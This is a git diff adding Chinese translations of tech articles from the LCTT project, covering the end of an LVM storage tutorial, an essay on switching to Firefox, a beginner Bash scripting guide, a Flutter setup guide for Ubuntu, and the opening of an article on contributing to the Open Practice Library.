`pvs` 或者 `pvdisplay` 查看结果: + +``` +"/dev/xvde" is a new physical volume of "5.00 GiB" +--- NEW Physical volume --- +PV Name /dev/xvde +VG Name +PV Size 5.00 GiB +Allocatable NO +PE Size 0 +Total PE 0 +Free PE 0 +Allocated PE 0 +PV UUID 728JtI-ffZD-h2dZ-JKnV-8IOf-YKdS-8srJtn + +"/dev/xvdb" is a new physical volume of "1.00 GiB" +--- NEW Physical volume --- +PV Name /dev/xvdb +VG Name +PV Size 1.00 GiB +Allocatable NO +PE Size 0 +Total PE 0 +Free PE 0 +Allocated PE 0 +PV UUID zk1phS-7uXc-PjBP-5Pv9-dtAV-zKe6-8OCRkZ + +"/dev/xvdd" is a new physical volume of "2.00 GiB" +--- NEW Physical volume --- +PV Name /dev/xvdd +VG Name +PV Size 2.00 GiB +Allocatable NO +PE Size 0 +Total PE 0 +Free PE 0 +Allocated PE 0 +PV UUID R0I139-Ipca-KFra-2IZX-o9xJ-IW49-T22fPc + +"/dev/xvdc" is a new physical volume of "1.00 GiB" +--- NEW Physical volume --- +PV Name /dev/xvdc +VG Name +PV Size 1.00 GiB +Allocatable NO +PE Size 0 +Total PE 0 +Free PE 0 +Allocated PE 0 +PV UUID FDzcVS-sq22-2b13-cYRj-dXHf-QLjS-22Meae + +"/dev/xvdf" is a new physical volume of "8.00 GiB" +--- NEW Physical volume --- +PV Name /dev/xvdf +VG Name +PV Size 8.00 GiB +Allocatable NO +PE Size 0 +Total PE 0 +Free PE 0 +Allocated PE 0 +PV UUID TRVSH9-Bo5D-JHHb-g0NX-8IoS-GG6T-YV4d0p +``` + +#### 步骤 2. 创建卷组 + +运行 `vgcreate myvg /dev/xvdb /dev/xvdc /dev/xvdd /dev/xvde /dev/xvdf`。通过 `vgs` 或者 `vgdisplay` 查看结果: + +``` +--- Volume group --- +VG Name myvg +System ID +Format lvm2 +Metadata Areas 5 +Metadata Sequence No 1 +VG Access read/write +VG Status resizable +MAX LV 0 +Cur LV 0 +Open LV 0 +Max PV 0 +Cur PV 5 +Act PV 5 +VG Size 16.98 GiB +PE Size 4.00 MiB +Total PE 4347 +Alloc PE / Size 0 / 0 +Free PE / Size 4347 / 16.98 GiB +VG UUID ewrrWp-Tonj-LeFa-4Ogi-BIJJ-vztN-yrepkh +``` + +#### 步骤 3: 创建逻辑卷 + +运行以下命令: + +``` +lvcreate myvg --name media --size 4G +lvcreate myvg --name home --size 4G +``` + +使用 `lvs` 或者 `lvdisplay` 验证结果: + +``` +--- Logical volume --- +LV Path /dev/myvg/media +LV Name media +VG Name myvg +LV UUID LOBga3-pUNX-ZnxM-GliZ-mABH-xsdF-3VBXFT +LV Write Access read/write +LV Creation host, time ip-10-0-5-236, 2017-02-03 05:29:15 +0000 +LV Status available +# open 0 +LV Size 4.00 GiB +Current LE 1024 +Segments 1 +Allocation inherit +Read ahead sectors auto +- currently set to 256 +Block device 252:0 + +--- Logical volume --- +LV Path /dev/myvg/home +LV Name home +VG Name myvg +LV UUID Hc06sl-vtss-DuS0-jfqj-oNce-qKf6-e5qHhK +LV Write Access read/write +LV Creation host, time ip-10-0-5-236, 2017-02-03 05:29:40 +0000 +LV Status available +# open 0 +LV Size 4.00 GiB +Current LE 1024 +Segments 1 +Allocation inherit +Read ahead sectors auto +- currently set to 256 +Block device 252:1 +``` + +#### 步骤 4: 创建文件系统 + +使用以下命令创建文件系统: + +``` +vgcreate myvg /dev/xvdb /dev/xvdc /dev/xvdd /dev/xvde /dev/xvdf +mkfs.ext3 /dev/myvg/media +mkfs.ext3 /dev/myvg/home +``` + +挂载它: + +``` +mount /dev/myvg/media /media +mount /dev/myvg/home /home +``` + +使用 `lsblk` 命令查看完整配置: + +``` +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +xvda 202:0 0 8G 0 disk +`-xvda1 202:1 0 8G 0 part / +xvdb 202:16 0 1G 0 disk +xvdc 202:32 0 1G 0 disk +xvdd 202:48 0 2G 0 disk +xvde 202:64 0 5G 0 disk +`-myvg-media 252:0 0 4G 0 lvm /media +xvdf 202:80 0 8G 0 disk +`-myvg-home 252:1 0 4G 0 lvm /home +``` + +#### 步骤 5: 扩展 LVM + +添加一块新的 `/dev/xvdg` 磁盘。要扩展 `home` 卷,运行以下命令: + +``` +pvcreate /dev/xvdg +vgextend myvg /dev/xvdg +lvextend -l 100%FREE /dev/myvg/home +resize2fs /dev/myvg/home +``` + +运行 `df -h`,你应该可以看到新的磁盘大小。 + +就是这样! + +LVM 为你配置存储的方式提供了极大的灵活性。尝试一下,并享受 LVM 的乐趣! + +本文首发于 [作者个人博客][4],经授权改编。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/add-storage-lvm + +作者:[Ayush Sharma][a] +选题:[lujun9972][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ayushsharma +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bus-storage.png?itok=95-zvHYl (Storage units side by side) +[2]: https://opensource.com/sites/default/files/lvm.png (Drive space) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://notes.ayushsharma.in/2017/02/working-with-logical-volume-manager-lvm diff --git a/published/202112/20210923 5 reasons to switch to Firefox right now.md b/published/202112/20210923 5 reasons to switch to Firefox right now.md new file mode 100644 index 0000000000..53580c92d0 --- /dev/null +++ b/published/202112/20210923 5 reasons to switch to Firefox right now.md @@ -0,0 +1,101 @@ +[#]: subject: "5 reasons to switch to Firefox right now" +[#]: via: "https://opensource.com/article/21/9/switch-to-firefox" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "leo314159" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14108-1.html" + +马上改用 Firefox 的 5 个理由 +====== + +> 19 年前,Mozilla Firefox 发布了 0.1 版。 + +![](https://img.linux.net.cn/data/attachment/album/202112/23/163609yryosyby5s8o7uss.jpg) + +Mozilla Firefox 是一个让我对开源大开眼界应用程序。这肯定不是转折点,而是几个开源应用程序逐渐吸引我注意力,这是累积效应的的一小部分。并且这最终导致我转向 Linux,并且从未回头。自从切换到 Firefox(这发生在我有意识地转向开源之前)以来,我一直是一个狂热的 Firefox 用户。我的手机一直是 Firefox OS 的手机,直到这个项目被放弃。不过,有趣的是,我并不特别地认为自己是 Firefox 的 _粉丝_ 。我从那时到现在一直在使用 Firefox,是因为从许多方面来说它都是最佳的浏览器。接下来是我认为应该马上 [改用 Firefox][2] 的五个原因。 + +### 1、Firefox 专注隐私 + +Firefox 的维护者是 [Mozilla 基金会][3],这是一个完全不以你的个人数据为动机的非营利组织。Mozilla 不关心你搜索的内容、访问的网站或你网站上使用的时间。这不是 Mozilla 的商业模式,但它显然是许多其他流行浏览器的商业模式。 + +即使你不反对浏览器以隐私为由跟踪你的活动,你可能也曾有过这样的经历:只是一次性购买过某件不寻常的礼物,就导致你访问的每个网站都试图向你出售该物品。互联网很大,所以有时根据用户的兴趣来重组它似乎是一个好主意。我承认,如果我所有的搜索都可以“开源”给它们,可能会提供更相关的结果。但话又说回来,我宁愿主动选择这种优化,而不是让它以及许多其他未知因素一起,在我的控制之外为我做出决定。 + +![Firefox 中的隐私 (Seth Kenlon, CC BY-SA 4.0) ][4] + +Mozilla 的数据政策是这样的: [尽量少拿、保持安全、毫无隐藏。][5] + +不止如此,Firefox 还提供了帐户 [监控][6],这是 Mozilla 的一项可选服务,如果你的任何在线帐户因大规模数据泄露而受到损害,它就会提醒你。另外,Mozilla 使用开源的 Wireguard 提供付费 VPN 服务,因此无论何时何地你都可以安全浏览。 + +### 2、Firefox 可以使用容器 + +很难相信的是,曾经有一段时间,当时领先的网页浏览器没有标签页功能。在上世纪 90 年代末和本世纪 00 年代初,当你想同时访问两个网页时,你必须打开两个单独的浏览器窗口。Firefox(以及之前的 Mozilla 浏览器)是标签页界面的早期使用者。 + +标签页是现在浏览器的标配,但是通过 Firefox 的扩展,标签页界面的功能有了有趣的新变化。由 Mozilla 自己开发的 [Firefox 多帐户容器插件][7] 可以将每个标签页变成浏览器中的一个隔离的“容器”。 + +![Firefox 中的容器化标签页 (Seth Kenlon, CC BY-SA 4.0)][8] + +例如,假设你的雇主使用谷歌应用,但你信不过谷歌接触你的个人信息。你可以使用多账户容器插件来隔离你的工作活动,以便谷歌仅触及你的职业生活,而无法访问你日常生活的任何部分。 + +你甚至可以使用两个不同的帐户打开同一个网站,此外由于标签页是用颜色标识的,因此无论你是要隔离网站还是只是在浏览器中添加新的视觉提示,这都很有帮助。 + +### 3、Firefox 的用户界面设计 + +尽管我们人类可能对新事物更感兴趣,但在熟悉又可靠的东西中我们能找到更多的舒适感。多年以来,Firefox 不断更新其界面,并且拥有了相当多的创新,而这些创新现在已经成为非官方的行业标准。但就总体来说,它一直保持不变。Firefox 的用户界面保留了你认为理所当然的所有标准惯例。 + +当你下载文件时,系统会提示你选择让 Firefox 如何处理该文件。根据你的选择,你可以在适当的应用程序中打开文件或将其保存到硬盘驱动器。你可以选择让 Firefox 记住你的选择并作为你将来的选择,或者让它继续提示你。 + +![Firefox用户界面设计 (Seth Kenlon, CC BY-SA 4.0)][9] + +当你需要应用程序菜单时,可以在现代的“汉堡包式”的菜单中找到它,或者你可以按 `Alt` 键在 Firefox 的窗口顶部显示传统菜单。 + +无论你是否是 Firefox 的长期用户,Firefox 中的一切都看起来很熟悉,因为它建立在多年的用户界面设计经验之上。在它可以创新的地方,它就会去创新,但是如果这些创新会违反直觉,它就会废弃这种创新。 + +### 4、Firefox 的开发者工具 + +回溯万维网的早期,你可以浏览到任何网站并查看其源代码。仅仅这样做几次就很有可能学习到 HTML 的知识。一切都是公开的、透明的、显而易见的,而且相对简单的。 + +互联网已经逐渐演变成为一个强大的 [基于云的超级计算机][10],现在从网站中提取有意义的上下文有时需要的不仅仅是其底层标记的文本转储。为了确保每个人都可以对网站的功能进行逆向工程(和正向工程),Firefox 在浏览器中集成了一套功能强大的开发工具。 + +![开发者工具 (Seth Kenlon, CC BY-SA 4.0) ][11] + +虽然这最初是基于 Firefox 的创新(在 2006 年推出的 [Firebug][12]),但现在许多浏览器都有开发者工具功能。然而,并非所有的开发者工具都一样,正是 Firefox 的开发者面板使 Firefox 成为我进行网页设计和用户体验测试的首选浏览器。 + +### 5、Firefox 是开源的 + +最为重要的是,Firefox 是完全开源的。这是一个优秀的浏览器,并且对你毫无隐藏。除了保持互联网开放,教育人们了解互联网,并推广日常工作的开源解决方案之外,它没有别有用心的动机。 + +![Firefox 是开源的 (Seth Kenlon, CC BY-SA 4.0)][13] + +你可以为 Firefox 做出贡献。你可以对你不喜欢的部分提交报告。你可以看到与互联网交互时运行的代码。几十年来,Firefox 一直在支持开放互联网。它忠于其自身的原则,并且可以说已经迫使几个竞争对手走向开源。如果 Firefox 没有抬高公众的期望,它们可能不会选择开源。 + +Firefox 是现代互联网上的具有影响力的力量,它是一款优秀的浏览器。Firefox 可以在你的桌面和移动设备上运行,因此想让自己轻松一点,[就安装个 Firefox 吧][14]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/switch-to-firefox + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[leo314159](https://github.com/leo314159) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/redpanda_firefox_pet_animal.jpg?itok=aSpKsyna (red panda) +[2]: http://getfirefox.org +[3]: https://foundation.mozilla.org/en/ +[4]: https://opensource.com/sites/default/files/firefox-privacy.jpg +[5]: https://blog.mozilla.org/en/products/firefox/firefox-data-privacy-promise/ +[6]: https://monitor.firefox.com +[7]: https://github.com/mozilla/multi-account-containers#readme +[8]: https://opensource.com/sites/default/files/firefox-container.jpg +[9]: https://opensource.com/sites/default/files/screenshot_from_2021-09-16_12-13-14.png +[10]: https://www.redhat.com/en/products/open-hybrid-cloud +[11]: https://opensource.com/sites/default/files/firefox-dev.jpg +[12]: https://getfirebug.com/ +[13]: https://opensource.com/sites/default/files/firefox-open.jpg +[14]: http://getfirefox.com diff --git a/published/202112/20210927 Bash Shell Scripting for beginners (Part 1).md b/published/202112/20210927 Bash Shell Scripting for beginners (Part 1).md new file mode 100644 index 0000000000..d597873123 --- /dev/null +++ b/published/202112/20210927 Bash Shell Scripting for beginners (Part 1).md @@ -0,0 +1,216 @@ +[#]: subject: "Bash Shell Scripting for beginners (Part 1)" +[#]: via: "https://fedoramagazine.org/bash-shell-scripting-for-beginners-part-1/" +[#]: author: "zexcon https://fedoramagazine.org/author/zexcon/" +[#]: collector: "lujun9972" +[#]: translator: "unigeorge" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14131-1.html" + +Bash Shell 脚本新手指南(一) +====== + +![][1] + +如标题所示,本文将涵盖面向初学者的 Bash Shell 脚本知识。虽然本文没有回顾 Bash 的历史,但是有很多资源能够便于读者了解相关内容,读者也可以直接访问 上的 GNU 项目。我们会从了解一些非常基本的概念开始,然后再将相关知识综合起来。 + +### 创建脚本文件 + +首先来创建一个脚本文件。我们要确保当前目录为家目录。 + +``` +cd ~ +``` + +在主目录中创建示例文件。文件名可以是任意名称,本文使用 `learnToScript.sh` 作为文件名。 + +``` +touch learnToScript.sh +``` + +此时家目录中就生成了一个名为 `learnToScript.sh` 的文件。输入以下命令以检验该文件是否存在,还可以注意到其权限是 `-rw-rw-r–`。 + +``` +[zexcon@trinity ~]$ ls -l +total 7 +drwxr-xr-x. 1 zexcon zexcon 90 Aug 30 13:08 Desktop +drwxr-xr-x. 1 zexcon zexcon 80 Sep 16 08:53 Documents +drwxr-xr-x. 1 zexcon zexcon 1222 Sep 16 08:53 Downloads +-rw-rw-r--. 1 zexcon zexcon 70 Sep 17 10:10 learnToScript.sh +drwxr-xr-x. 1 zexcon zexcon 0 Jul 7 16:04 Music +drwxr-xr-x. 1 zexcon zexcon 318 Sep 15 13:53 Pictures +drwxr-xr-x. 1 zexcon zexcon 0 Jul 7 16:04 Public +drwxr-xr-x. 1 zexcon zexcon 0 Jul 7 16:04 Videos +[zexcon@trinity ~]$ +``` + +正式开始之前还有一件事要做。可以试一下在没有写入任何内容的情况下执行脚本,命令行输入以下内容: + +``` +./learnToScript.sh +``` + +``` +[zexcon ~]$ ./learnToScript.sh +bash: ./learnToScript.sh: Permission denied +``` + +提示权限被拒绝,因为该文件没有执行权限。所以你需要更改文件的权限才能执行脚本。如果你不熟悉权限相关知识,建议阅读 [Paul W. Frields][4] 写的 Fedora 杂志文章。 + +- [命令行小知识:权限][5] +- [命令行小知识:深入权限][6] + +假定我们已经了解了权限相关知识,回到终端更改 `learnToScript.sh` 文件,增加执行权限。输入以下内容: + +``` +chmod 755 learnToScript.sh +``` + +``` +[zexcon@trinity ~]$ ls -l +total 7 +drwxr-xr-x. 1 zexcon zexcon 90 Aug 30 13:08 Desktop +drwxr-xr-x. 1 zexcon zexcon 80 Sep 16 08:53 Documents +drwxr-xr-x. 1 zexcon zexcon 1222 Sep 16 08:53 Downloads +-rwxr-xr-x. 1 zexcon zexcon 70 Sep 17 10:10 learnToScript.sh +drwxr-xr-x. 1 zexcon zexcon 0 Jul 7 16:04 Music +drwxr-xr-x. 1 zexcon zexcon 318 Sep 15 13:53 Pictures +drwxr-xr-x. 1 zexcon zexcon 0 Jul 7 16:04 Public +drwxr-xr-x. 1 zexcon zexcon 0 Jul 7 16:04 Videos +[zexcon@trinity ~]$ +``` + +好的,现在一切准备就绪,你已经获得了 `learnToScript.sh` 命令的读取、写入和执行权限 (`-rwxr-xr-x`)。 + +### 编辑脚本文件 + +下面的内容需要你熟悉 `vim` 或其他类似的文本编辑器,本文选用 `vim`。在命令提示符下输入以下内容: + +``` +vim learnToScript.sh +``` + +这会打开一个空的文本文件,里面有一堆波浪号。键盘输入 `i` 将进入插入模式。通过查看终端窗口的左下角,你可以确认它处于该模式。(友情推荐,[nano][7] 编辑器也很不错。) + +接下来我们要确保文件被正确的解释器识别。因此,输入 `#!` 和 bash 的目录 `/bin/bash`: + +``` +#!/bin/bash +``` + +本文教程步骤的最后一件事是保存文档。按 `Esc` 退出输入模式,然后按 `Shift+:`。在冒号处输入 `wq`,按下回车键,就会写入(`w`)文件并退出(`q`)`vim` 编辑器。 + +> 使用 `vim` 时要记住,要想写入文档,就需要输入 `i`,此时你会在底部看到 `–INSERT–`。要保存文档,就需要按 `Esc` 退出输入模式,然后按 `Shift+:`,输入 `w` 写入文件;或者按 `Esc`,然后 `Shift+:` 输入 `q`,实现退出而不保存;或者将 `wq` 连在一起,可以实现写入并关闭文件。`Esc` 本身就只是退出插入模式。你可以在其 [官方网站][8] 或 [教程网站][9] 上找到更多关于 `vim` 的信息。 + +### 开始正式写脚本 + +#### echo 命令 + +`echo` 命令用于向终端返回一些信息,可以使用单引号、双引号或不使用引号。那么让我们用一个传统的 Hello World 来试试它! + +``` +#!/bin/bash + +echo Hello World! +echo 'Hello World!' +echo "Hello World!" +``` + +``` +[zexcon ~]$ ./learnToScript.sh +Hello World! +Hello World! +Hello World! +[zexcon ~]$ +``` + +注意,上述三行得到了相同的结果。使用单引号、双引号或不使用引号的结果不是一定相同的,但在这个基本脚本中确实得到了同样的结果。在某些情况下,引号的类型不同会导致结果差异。至此恭喜你编写了第一个 Bash 脚本。当你继续创建更多脚本并放飞你的想法时,可能会需要了解以下更多的知识。 + +#### 命令替换 $( ) 和 \` \` + +命令替换可以实现以下效果:获取在命令行执行命令的结果,并将该结果写入变量。例如,如果在命令提示符下输入 `ls`,可以获得当前工作目录的列表。我们用这个命令来实践一下。命令替换选项有两个,请注意:第一个选项使用键盘左侧 `Tab` 键上方的反引号。它与波浪号 `~` 在一个键位上。第二个选项使用 shell 变量。 + +``` +#!/bin/bash + +command1=`ls` +echo $command1 + +command2=$(ls) +echo $command2 +``` + +``` +[zexcon ~]$ ./learnToScript.sh +Desktop Documents Downloads learnToScript.sh Music Pictures Public snap Videos +Desktop Documents Downloads learnToScript.sh Music Pictures Public snap Videos +[zexcon ~]$ +``` + +注意变量、等号和命令开头之间不要有空格。使用这两个选项得到的结果是完全相同的。请注意,变量需要以美元符号开头。如果你忘记了,并且回显了不带美元符号的命令变量,会只输出命令的名称,如下所示: + +``` +#!/bin/bash + +command1=`ls` +echo command1 + +command2=$(ls) +echo command2 +``` + +``` +[zexcon ~]$ ./learnToScript.sh +command1 +command2 +[zexcon ~]$ +``` + +#### 双括号 (()) + +那么双括号有什么用呢? 很简单,双括号用于数学方程式。 + +``` +#!/bin/bash + +echo $((5+3)) +echo $((5-3)) +echo $((5*3)) +echo $((5/3)) +``` + +``` +[zexcon ~]$ ./learnToScript.sh +8 +2 +15 +1 +[zexcon ~]$ +``` + +### 结语 + +至此,我们已经创建了第一个脚本。我们知道了如何执行多个命令:将它们放在一个脚本中并运行,就可以获得结果。下一篇文章会继续讨论,了解输入和输出的重定向、管道命令、使用双括号或者添加注释等知识。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/bash-shell-scripting-for-beginners-part-1/ + +作者:[zexcon][a] +选题:[lujun9972][b] +译者:[unigeorge](https://github.com/unigeorge) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/zexcon/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/09/bash_shell_scripting_pt1-1536x650.jpg +[2]: https://unsplash.com/@nbandana?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/shell-scripting?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: http://pfrields.id.fedoraproject.org/ +[5]: https://fedoramagazine.org/command-line-quick-tips-permissions/ +[6]: https://fedoramagazine.org/command-line-quick-tips-more-about-permissions/ +[7]: https://fedoramagazine.org/gnu-nano-minimalist-console-editor/ +[8]: https://www.vim.org/docs.php +[9]: https://linuxhandbook.com/basic-vim-commands/ diff --git a/published/202112/20210929 How to Install and Setup Flutter Development on Ubuntu and Other Linux.md b/published/202112/20210929 How to Install and Setup Flutter Development on Ubuntu and Other Linux.md new file mode 100644 index 0000000000..13a8a00d5a --- /dev/null +++ b/published/202112/20210929 How to Install and Setup Flutter Development on Ubuntu and Other Linux.md @@ -0,0 +1,193 @@ +[#]: subject: "How to Install and Setup Flutter Development on Ubuntu and Other Linux" +[#]: via: "https://itsfoss.com/install-flutter-linux/" +[#]: author: "Marco Antonio Carmona Galván https://itsfoss.com/author/itsfoss/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14054-1.html" + +如何在 Linux 上安装和设置 Flutter 开发环境 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/06/115835fdjlxmd55mxew1nn.jpg) + +谷歌的 UI 工具包 Flutter 在创建移动、网页和桌面的跨平台应用程序方面越来越受欢迎。 + +[Flutter][1] 不是一种编程语言,而是一个软件开发工具包。[Dart][2] 是 Flutter SDK 下面使用的编程语言。 + +Flutter 是谷歌开源的 Fuchsia OS、谷歌 STADIA 以及许多其他软件和移动应用背后的主要框架。 + +如果你想使用 Flutter 进行开发,本教程将帮助你在 Ubuntu 和其他类似 Linux 发行版上搭建好你的环境。 + +### 在 Ubuntu 和其他 Linux 上用 Snap 安装 Flutter + +在 Linux 上安装 Flutter 最简单的方法是使用 Snap。如果你使用的是 Ubuntu,你已经有了 Snap。**对于其他发行版,请确保 [启用 Snap 支持][3]**。 + +[打开终端][4] 并在终端中使用以下命令来安装 Flutter: + +``` +sudo snap install flutter --classic +``` + +你会在你的终端上看到类似这样的东西: + +![][5] + +一旦安装完成,就是验证它的时候了。不仅仅是 Flutter 的安装,还要验证 Flutter 正常运行所需满足的每一个依赖关系。 + +#### 验证 Flutter 的依赖项 + +为了验证 Flutter 正确工作所需的每一个依赖项,Flutter 有一个内置选项: + +``` +Flutter doctor +``` + +这个过程开始看起来像这样: + +![][6] + +而它完成时像这样: + +![][7] + +正如你所看到的,我们需要 Android Studio 来工作。所以让我们来安装它。我们该怎么做呢?用 Snap [在 Linux 上安装 Android Studio][8] 也是毫不费力的。 + +#### 安装并设置好 Android Studio + +在终端中,使用下面的命令来安装 Android Studio: + +``` +sudo snap install android-studio --classic +``` + +![][9] + +安装完毕后,从我们的操作系统菜单中打开 Android Studio。 + +![][10] + +就快完成了。现在是配置 Android Studio 的时候了。 + +![][11] + +点击下一步,如果你不想让事情复杂化,就选择“标准standard”。 + +![][12] + +选择你喜欢的主题(我喜欢“暗色Darcula”的)。 + +![][13] + +确认一切正常,然后点击“下一步Next”。 + +![][14] + +最后,点击“完成Finish”按钮。 + +![][15] + +然后等待,直到下载完成。 + +![][16] + +### 创建一个 Hello World Flutter 应用样本 + +在 Android Studio 中,进入项目,选择“新建 Flutter 项目New Flutter Project”。Flutter SDK 路径会默认设置。 + +![][17] + +在这里,神奇的事情开始出现了,这是你设置你的项目名称的地方,在这个例子中,它将被称为 “hello_world”。 + +让我们选择三个可用的平台。**Android、iOS 和 Web**。最后,点击“完成Finish”。 + +![][18] + +项目中的主文件位于 `lib/main.dart`,如下图所示: + +![][19] + +选定后,擦除文件中包含的所有内容,并将其改为本示例代码: + +``` +// Copyright 2018 The Flutter team. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +import 'package:flutter/material.dart'; + +void main() => runApp(MyApp()); + +class MyApp extends StatelessWidget { + @override + Widget build(BuildContext context) { + return MaterialApp( + title: 'Welcome to Flutter', + home: Scaffold( + appBar: AppBar( + title: const Text('Welcome to Flutter'), + ), + body: const Center( + child: Text('Hello World'), + ), + ), + ); + } +} +``` + +重要的是,这只是向你展示 Flutter 是如何工作的,如果你确信要学习这种美丽而不可思议的语言,这里有 [文档][20] 可以看到更多关于它的信息。**尝试**它! + +最后,选择 “Chome Web” 设备,并点击“运行Run”按钮,如下图所示;并看到神奇的效果! + +![][21] + +你可以如此快速地创建一个 Flutter 项目,真是不可思议。跟你的 Hello World 项目打个招呼吧。 + +![][22] + +### 最后... + +如果你想在短时间内做出漂亮的移动和网页界面的贡献,Flutter 和 Dart 是完美的。 + +现在你知道了如何在 Ubuntu Linux 上安装 Flutter,以及如何用它创建你的第一个应用程序。我很高兴可以为你写这篇文章,希望对你有所帮助,如果你有任何问题,请通过留言或给我发邮件来告诉我,祝你好运! + +本教程由 Marco Antonio Carmona Galván 提供,他是物理学和数据科学专业的学生。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-flutter-linux/ + +作者:[Marco Antonio Carmona Galván][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/itsfoss/ +[b]: https://github.com/lujun9972 +[1]: https://flutter.dev/ +[2]: https://dart.dev/ +[3]: https://itsfoss.com/install-snap-linux/ +[4]: https://itsfoss.com/open-terminal-ubuntu/ +[5]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/installing-flutter-ubuntu.png?resize=786%2C195&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/verify-flutter-install.png?resize=786%2C533&ssl=1 +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/Flutter-verification-completes.png?resize=786%2C533&ssl=1 +[8]: https://itsfoss.com/install-android-studio-ubuntu-linux/ +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/install-android-studio-linux-snap.png?resize=786%2C187&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/Open_Android_Studio.webp?resize=800%2C450&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/Setting-Up-Android-Studio-1.png?resize=800%2C603&ssl=1 +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/Setting-Up-Android-Studio-2.png?resize=800%2C603&ssl=1 +[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/Setting-Up-Android-Studio-3.png?resize=800%2C603&ssl=1 +[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/Setting-Up-Android-Studio-4.png?resize=800%2C603&ssl=1 +[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/Setting-Up-Android-Studio-5.png?resize=800%2C603&ssl=1 +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/Setting-Up-Android-Studio-6.png?resize=800%2C603&ssl=1 +[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/New_flutter_project.png?resize=800%2C639&ssl=1 +[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/sample-flutter-project.png?resize=800%2C751&ssl=1 +[19]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/sample-flutter-project-1.png?resize=800%2C435&ssl=1 +[20]: https://flutter.dev/docs +[21]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/sample-flutter-project-2.png?resize=800%2C450&ssl=1 +[22]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/sample-flutter-project-3.png?resize=800%2C549&ssl=1 +[23]: https://itsfoss.com/cdn-cgi/l/email-protection diff --git a/published/202112/20211030 7 ways anyone can contribute to Open Practice Library.md b/published/202112/20211030 7 ways anyone can contribute to Open Practice Library.md new file mode 100644 index 0000000000..2072f98618 --- /dev/null +++ b/published/202112/20211030 7 ways anyone can contribute to Open Practice Library.md @@ -0,0 +1,145 @@ +[#]: subject: "7 ways anyone can contribute to Open Practice Library" +[#]: via: "https://opensource.com/article/21/10/open-practice-library" +[#]: author: "Donna Benjamin https://opensource.com/users/kattekrab" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14117-1.html" + +为开放实践图书馆做出贡献的 7 种方式 +====== + +> 向开放实践图书馆做出贡献是参与全球实践者社区的一种有趣方式,这些实践者都愿意分享他们的知识并改进他们自己的工作方式。 + +![](https://img.linux.net.cn/data/attachment/album/202112/26/094416hvtgijuavgzwvgge.jpg) + +[开放实践图书馆][2] 是一个社区驱动的实践集合,以支持团队的协作。“实践” 是一种行为或一个 “技巧”,是团队用来改善他们实现目标的方式。有时这些目标是技术性的,如编程和 IT,但所有的团队都可以用来帮助定义他们的实践。无论你是教师、活动策划者、销售人员还是艺术家,这个过程都很重要。对于一个团队,站在同一起跑线上是至关重要的,而这正是开放实践图书馆可以帮助你做到的。 + +该图书馆借鉴了来自不同背景的从业者的经验。如果你是一个敏捷开发从业者或用户体验研究员,你可能会对该图书馆中的一些实践感到熟悉。作为一个系统管理员、网站可靠性工程师或软件开发人员,你也可能认出一些你自己的工具包中的实践。 + +为了支持跨职能的团队共同建立他们的协作技能,开放实践图书馆向所有人开放,让他们使用、学习、分享,甚至贡献,无论他们的角色或工作职能如何。许多人在使用这个图书馆的时候,惊讶地发现他们可以为其做出贡献!因此,下面我将介绍一下你可以为开放实践图书馆做出贡献的七种不同方式,然后探讨一下你可能为之贡献的三个原因。 + 